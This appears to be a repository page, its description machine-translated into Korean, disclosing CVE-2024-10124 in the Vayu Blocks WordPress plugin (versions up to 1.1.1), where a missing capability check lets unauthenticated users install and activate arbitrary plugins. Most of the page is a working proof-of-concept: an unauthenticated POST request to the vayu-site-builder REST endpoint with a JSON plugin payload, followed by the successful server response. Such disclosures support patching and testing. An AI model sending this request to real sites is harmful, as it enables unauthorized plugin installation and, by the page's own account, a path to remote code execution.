randomrobbiebf/cve-2024-10124Vayu Blocks – WordPress 및 WooCommerce용 Gutenberg Blocks <= 1.1.1 - 인증 누락으로 인증되지 않은 사용자의 임의 플러그인 설치/활성화 허용
Vayu Blocks – WordPress 및 WooCommerce용 Gutenberg 블록 <= 1.1.1 - 인증되지 않은 임의 플러그인 설치/활성화를 위한 권한 누락
WordPress용 Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce 플러그인은 1.1.1 버전을 포함한 모든 버전에서 tp_install() 함수에 대한 기능 검사가 누락되어 인증되지 않은 임의의 플러그인 설치 및 활성화에 취약합니다. 이로 인해 인증되지 않은 공격자가 임의의 플러그인을 설치하고 활성화할 수 있으며, 다른 취약한 플러그인이 설치되고 활성화된 경우 원격 코드 실행을 달성하는 데 활용될 수 있습니다. 이 취약점은 버전 1.1.1에서 부분적으로 패치되었습니다.
POST /wp-json/ai/v1/vayu-site-builder HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 347
{
"params": {
"plugin": {
"akismet": "Akismet Anti-Spam"
},
"allPlugins": [
{
"akismet": "akismet/akismet.php"
}
],
"themeSlug": "",
"proThemePlugin": "",
"templateType": "free",
"tmplFreePro": "plugin"
}
}
사이트 URL을 반환해야 합니다.
HTTP/2 200 OK
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Allow: POST
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json; charset=UTF-8
Date: Thu, 12 Dec 2024 15:12:24 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Link: <https://wp-dev.ddev.site/wp-json/>; rel="https://api.w.org/"
Pragma: no-cache
Server: nginx
Set-Cookie: PHPSESSID=95f3c834be0cac72019468ca39e71fa9; path=/
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Robots-Tag: noindex
"\"https:\\\/\\\/wp-dev.ddev.site\""